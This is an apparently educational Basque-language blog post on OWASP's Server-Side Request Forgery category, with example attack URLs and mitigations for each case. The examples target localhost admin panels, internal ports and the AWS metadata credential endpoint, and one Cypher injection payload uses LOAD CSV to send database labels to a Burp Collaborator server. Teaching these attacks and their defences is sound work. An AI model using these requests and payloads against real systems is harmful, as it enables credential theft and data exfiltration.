A10:2021 – Server-Side Request Forgery (SSRF)

A10:2021 – Zerbitzari-Alboko Eskaera Iruzurra (SSRF)

Celia Catalán



Deskribapena

'Server-Side Request Forgery' (SSRF) erasoa erasotzaile batek zerbitzari baten funtzionaltasuna abusatzen duen eraso mota bat da, baimenik gabeko barne edo kanpoko baliabideei HTTP eskaerak egiteko. Funtsean, zerbitzaria engainatu egiten da erasotzailearen izenean nahi ez diren ekintzak egiteko.

Eragina

Eraso mota honek ondorio larriak izan ditzake web aplikazio baten segurtasunean eta azpiegituran. Balizko inpaktu batzuk honako hauek dira:

  • Barne baliabideetarako baimenik gabeko sarbidea: Erasotzaileak normalean suebakiek edo sare-murrizketekin babestuta dauden sistema eta datuetara atzi ditzake. 
  • Segurtasun-kontrolak saihestea: SSRF-k erasotzaileek segurtasun-neurriak saihestu ditzakete, hala nola suebakiak eta sarbide-kontrol-zerrendak. 
  • Datu sentikorren filtrazioa: Erasotzaileek SSRF erabil dezakete barne sistemetako informazio sentikorra kanporatzeko. 
  • Barne portuen eskaneatzea: SSRF barne-sarea mapatzeko eta zerbitzu ahulak aurkitzeko erabil daiteke. 
  • Urrutiko kodearen exekuzioa: Muturreko kasuetan, SSRF-k kode arbitrarioa exekutatu dezake arriskuan dagoen zerbitzarian. 

Eragin horien larritasuna kontuan hartuta, funtsezkoa da garatzaileek segurtasun-neurri sendoak ezartzea beren web aplikazioetan SSRF erasoak prebenitzeko eta arintzeko.

Adibide praktikoak

1. Barne zerbitzuetara sarbidea

Horri esker, erasotzaileak normalean suebakiek edo sare-murrizketek babestutako sistema eta datuetara sartzeko aukera izan dezakete, hala nola barne datu-baseetan edo administrazio-paneletan.

http://vulnerable-app.com/fetch?url=http://localhost:8080/admin

Adibide honetan, aplikazioak ez badu behar bezala balioztatzen emandako URLa, eskaera bat egin diezaioke 8080 atakako barne administrazio panelari.

Laburpen

  • Detektatu HTTP erabiliz kanpoko baliabide bati eskaera bat egiten dion kontsulta. 
  • Aldatu eskaera, web zerbitzariak loopback interfazeari eskaera egin diezaion eta horrela atzerrian argitaratu gabeko funtzio edo zerbitzuetara sartzeko. 

Adibidea

Ikuskaturiko web orriaren funtzionamendua aztertu ondoren, HTTP erabiliz kanpoko baliabideei eskaerak egiten zaizkiela ikus daiteke.


Eraso-bektore posible hori identifikatu ondoren, lehen aitorpen-proba bat egiten da, loopback interfazean eskaerak egin daitezkeen zehazteko.



Bektore hori erabiliz SSRF eraso bat egin daitekeela egiaztatu ondoren, kanpotik funtzio mugatuetara sartzen saiatzen gara, adibidez, adibide honetan, erabiltzaile bat aplikaziotik kentzen.



Aringarriak

Eraso mota hauekin lotutako arriskuak saihesteko, gomendagarria da:
  • Baliozkotu eta garbitu erabiltzaileen sarrera guztiak, bereziki URLak. 
  • Ezarri domeinuen eta baimendutako IP helbideen zerrenda zuriak. 
  • Erabili web aplikazioen suebakiak (WAF) eskaera gaiztoak iragazteko. 
  • Sareko suebakiak behar bezala konfiguratu barne baliabideetarako sarbidea mugatzeko. 
  • Zerbitzarietan eta zerbitzuetan pribilegio txikienaren printzipioa ezartzea. 
  • Erabili VPNak edo sare pribatu birtualak baliabide kritikoak isolatzeko. 
  • Desgaitu HTTP birzuzenketak beharrezkoak ez direnean. 
  • Ezarri autentifikazio eta baimen sendoak barne-puntu guztietan. 
  • Erabili barneko DNS ostalariaren izenak ebazteko, zuzeneko IP helbideak erabiltzea saihestuz. 
  • Kontrolatu eta erregistratu sareko eskaera guztiak eredu susmagarriak detektatzeko. 

2. Barne portuen eskaneoa

Prozesu honek barneko IP helbideetako portu ezberdinetara eskaerak bidaltzea dakar, erantzunak aztertuz zein portu dauden irekita eta zein zerbitzu exekutatzen ari diren zehazteko. Informazio horrekin, erasotzaileak etorkizuneko erasoetarako balizko helburuak identifikatu ditzake, hala nola datu-baseen zerbitzariak, administrazio-panelak edo normalean kanpotik eskura izango ez liratekeen sistema zaurgarriak.

http://vulnerable-app.com/fetch?url=http://127.0.0.1:22

Adibide honetan, 22 ataka (SSH) irekita badago, erantzuna itxita egongo balitz baino ezberdina izan liteke, erasotzaileak barne sareko zerbitzuak mapatzeko aukera emanez.


Laburpen

  • Detektatu HTTP erabiliz kanpoko baliabide bati eskaera bat egiten dion kontsulta. 
  • Aldatu eskaera, web zerbitzariak kanpoaldera begira ez dauden barne IP helbide eta portuetara eskaera bat egin dezan. 
  • Behatu zerbitzariaren erantzun desberdinak, ataka irekia duen IP helbide bat noiz dagoen eta noiz ez antzeman ahal izateko. 

Adibidea

Teknika honekin balizko eraso-bektore bat detektatu ondoren, zerbitzaritik sar daitezkeen sare pribatuen barruti posibleak identifikatzen saiatzen da. Horretarako, intrusoaren modulua erabiliko da IP helbideen zenbakizko balioak errepikatzeko.






Pantaila-argazkietan ikus daitekeenez, barne zerbitzari eta baliabideetara sartzea posible izan da SSRF ahultasuna baliatuz.

Aringarriak

Barneko IP helbideak eta atakak eskaneatzea helburu duten SSRF erasoak saihesteko eta arintzeko, neurri hauek ezartzea gomendatzen da:

  • Ezarri IP helbideen zerrenda zuriak eta barne-eskaeretarako baimendutako barrutiak. 
  • Erabili eskaera eredu susmagarriak detektatzeko eta blokeatzeko konfiguratutako web aplikazioen suebakiak (WAF). 
  • Segmentatu barne-sarea azterketa posibleen esparrua mugatzeko. 
  • Barneko zerbitzarietan eta zerbitzuetan pribilegio txikienaren printzipioa ezartzea. 
  • Erabili autentifikazio sendoa eta baimena barne-puntu guztietan. 
  • Kontrolatu eta erregistratu sareko eskaera guztiak eskaneatzeko ereduak detektatzeko. 
  • Ezar ezazu tasa-mugaketa, azterketa azkar eta automatizatuak saihesteko. 
  • Erabili Virtual Private Cloud (VPC) hodeiko inguruneetan baliabide kritikoak isolatzeko. 
  • Segurtasun-taldeak eta sarbide-kontrol-zerrendak (ACL) behar bezala konfiguratu sarean. 
  • Garatzaileak hezi segurtasun-jardunbide onen eta SSRFrekin lotutako arriskuei buruz.

3. Metadatuen sarbidea cloud inguruneetan

Hodeiko inguruneetan, hala nola Amazon Web Services (AWS), erasotzaileek Server-Side Request Forgery (SSRF) ahuleziak ustiatu ditzakete instantzia metadatuak sartzen saiatzeko. Metadatu honek exekutatzen ari den instantziaren konfigurazioari eta egoerari buruzko informazio erabakigarria dauka. Erasotzaile batek ahultasun hori ustiatzen saia daitekeen adibide bat honako URL hau da:

http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/

Zaurgarrien aplikazioak eskaera hau neurri egokirik gabe prozesatzen badu, oharkabean informazio oso sentikorra ager dezake. Informazio honek honako hauek izan ditzake:
  • AWSren aldi baterako kredentzialak 
  • IAM rolak instantziarekin lotuta
  • Sarearen konfigurazio datuak 
  • Pertsonalizatutako hasierako scriptak 

Metadatu hauen esposizioak hodeiko azpiegituren segurtasunean ondorio larriak izan ditzake, erasotzaileek beren pribilegioak areagotu, sarean alde batera mugitzeko edo AWS ingurunea erabat arriskuan jar ditzakete. Hori dela eta, funtsezkoa da segurtasun neurri sendoak ezartzea hodeiko instantzien metadatuetara baimenik gabeko sarbide mota hori saihesteko.

Laburpen

  • Detektatu HTTP erabiliz kanpoko baliabide bati eskaera bat egiten dion kontsulta. 
  • Aldatu jatorrizko eskaera, web zerbitzariak WhiteList-ek mugatu ditzakeen hodeiko zerbitzariko baliabideei eskaera bat egin diezaion, zerbitzariak bakarrik sar dezan. 
  • Behatu zerbitzariaren erantzun desberdinak Hodeian gordetako baliabideak noiz sartzea posible izan den eta noiz ez antzeman ahal izateko.

Adibidea

Paisaia

Web aplikazio batek erabiltzaileei URL bat sartzeko aukera ematen die webgune bati buruzko informazioa lortzeko. Aplikazioak GET eskaera bat egiten du emandako URLan eta emaitza bistaratzen du. Hala ere, aplikazioak ez du behar bezala balioztatzen erabiltzailearen sarrera.

Ustiapen-urratsak

  1. Erasotzaileak aplikazioa Amazon Web Services-en (AWS) ostatatuta dagoela deskubritzen du. 
  2. Erasotzaileak URL hau sartzen du aplikazioaren sarrera eremuan: http://169.254.169.254/latest/meta-data/ 
  3. Aplikazioak eskaera bat egiten dio barneko AWS IP helbide honi, hau da, EC2 instantziako metadatuen amaiera-puntua. 
  4. Ondorioz, aplikazioak EC2 instantziari buruzko informazio sentikorra itzultzen du, hala nola: 
1. instantzia ID 
2. Eskualdea 
3. Barne ostalari-izena 
4. MAC helbidea 
5.Erasotzaileak gehiago sakondu dezake bide zehatzak erabiliz, hala nola: http://169.254.169.254/latest/meta-data/iam/security-credentials/ instantziari lotutako IAM rolaren aldi baterako segurtasun kredentzialak lortzeko. 

Arintzea

SSRF mota hauen erasoak saihesteko:
  • URL onartuen zerrenda zuria ezarri 
  • Erabili alderantzizko proxy bat irteerako eskaeretarako 
  • Konfiguratu suebakiak barne IP helbideetarako trafikoa blokeatzeko 
  • Ezarri pribilegio txikienaren printzipioa IAM roletan 
  • Erabili IMDSv2 (Instantzia Metadatuen Zerbitzua 2. bertsioa) eta horrek saio-tokenak behar ditu 

4. Informazioaren exfiltrazioa (Cypher injezioa)

Atal honetan, Neo4j datu-basean egindako kontsultetan kode gaiztoa sartu ondoren, Server-Side Request Forgery teknikak erabiliz datuak infiltratzea nola den azalduko da.

Neo4j kode irekiko datu-base grafiko bat da. Elkarri lotuta dauden datuak gordetzeko eta kontsultatzeko erabiltzen da, informazioa grafiko-egitura batean nodo, erlazio eta propietate gisa irudikatuz, kontsulta konplexuak eta datu-analisia eraginkortasunez egiteko aukera emanez.

Laburpen

  • Datu-basean egindako kontsultetan kodea sar daitekeen kontsulta bat detektatu. 
  • Datu-baseari kontsultak egitea bertan gordetako informazioa lortzeko. 
  • Infiltratu CSV kargatzeko funtzioaren bidez lortutako informazioa HTTP bidez, horrela SSRF teknika bat eginez.

Adibidea


Web-aplikazioan egindako eskaera desberdinak aztertu eta injekzioen aurrean kaltegarriak diren antzeman ondoren, datu-basean kontsultak egiten eta haiek kanporatzen hasten gara. Karga erabilgarriaren adibide bat hau izango litzateke:

.*' | o ] AS OriginalRequest CALL db.labels() YIELD datuak LOAD CSV FROM 'http:///' + datuak AS r //

Jarraian, kargaren zati bakoitza azalduko da:

.*' | o ] Jatorrizko eskaera

Kodearen lehen zati honek jatorrizko kontsulta behar bezala ixten du eta erasotzaileari kontsulta kateatzea ahalbidetzen dio.

CALL db.labels() YIELD datuak

CALL klausula azpikontsulta bat exekutatzeko erabiltzen da. Kasu honetan, db.labels(ri) deitzen dio, datu-basean dauden etiketa guztien zerrenda eskaintzen duen prozedura integratua. Bere aldetik, YIELD klausulak sortutako zerrenda "datuak" aldagaian gordetzen du.

KARGATU CSV-tik 'http:///' + datuak AS r //

LOAD CSV erabiltzaileak definitutako kokapen batetik CSV fitxategi bat FROM gako-hitza erabiliz kargatzen duen adierazpena da. Kasu honetan, LOAD CSV-k eskaera bat egiten dio Burp kolaboratzaileen funtzionalitateak gaitutako web zerbitzari bati, iterazio bakoitzean "datuen" zerrendako elementu bat gehituz. 

Ondorioz, eskaera anitz bidaltzen zaizkio Burp kolaboratzaile bezeroari, bakoitzari etiketa-izen desberdinak erantsita eskaeraren amaieran. 

Azken 'AS r' zatia sartzen da kontsultak etengabe huts egiten duelako hura gabe; kargatu CSV fitxategia "r" gisa. 

"//" amaierako bi barrak erabiltzen dira gainerako kontsultak lerro berean iruzkintzeko.

Arintzea

Kasu honetan, ez dago konponketarik LOAD CSV funtzioa erabiliz datuen infiltrazioa saihesteko. Aringarriak zuzenean Cypher injekzio motako erasoak egiteko aukera saihesten hasten dira. Horretarako gomendatzen da:
  • Erabili parametroak: saihestu Cypher injekzioa parametroak erabiliz erabiltzaileen sarrera zuzenean kontsultetan kateatu beharrean. 
  • Parametrizatu kontsultak: parametroen datuekin aldatu ezin diren plan exekutagarrietan konpilatu kontsultak. 
  • Erabili APOC prozedurak modu seguruan: APOC erabiltzean, jarraitu parametroak pasatzen kateak kateatzeko ahultasunak saihesteko. 
  • Sarrerak garbitu: parametrizatzea posible ez denean (adibidez, nodoen etiketetarako), garbitu erabiltzaileen sarrerak karaktere berezietatik ihes eginez. 
  • Saihestu datu-basearen erroreak itzultzea: Erabili errore-mezu generikoak erroreetan oinarritutako injekzio bidez informazioa zabaltzea saihesteko. 
  • Ezar ezazu ihesbide egokia: Erabili ihes-sekuentzia egokiak Cypher mota desberdinetarako (kate literalak, identifikatzaileak). 
  • Sarrerak balioztatu: egiaztatu erabiltzaileen sarrerak irizpide zehatzekin, baina kontutan izan saihesbide-teknikak. 
  • Kontuz bigarren mailako injekzioekin: jarraitu biltegiratutako datuak garbitzen ondorengo kontsultetan erabiltzen direnean. 
  • Aplikatu pribilegio txikienaren printzipioa: Erabili roletan oinarritutako sarbide-kontrola injekzio arrakastatsuen eragin potentziala mugatzeko. 
  • Kontu handiz kudeatu datu-inportazioak: kontuan izan ahultasun potentzialak kanpoko iturrietatik datuak inportatzerakoan, hala nola CSV fitxategietatik. 

Itzuli blogera

Utzi iruzkin bat

Kontuan izan iruzkinak argitaratu aurretik onartu behar direla.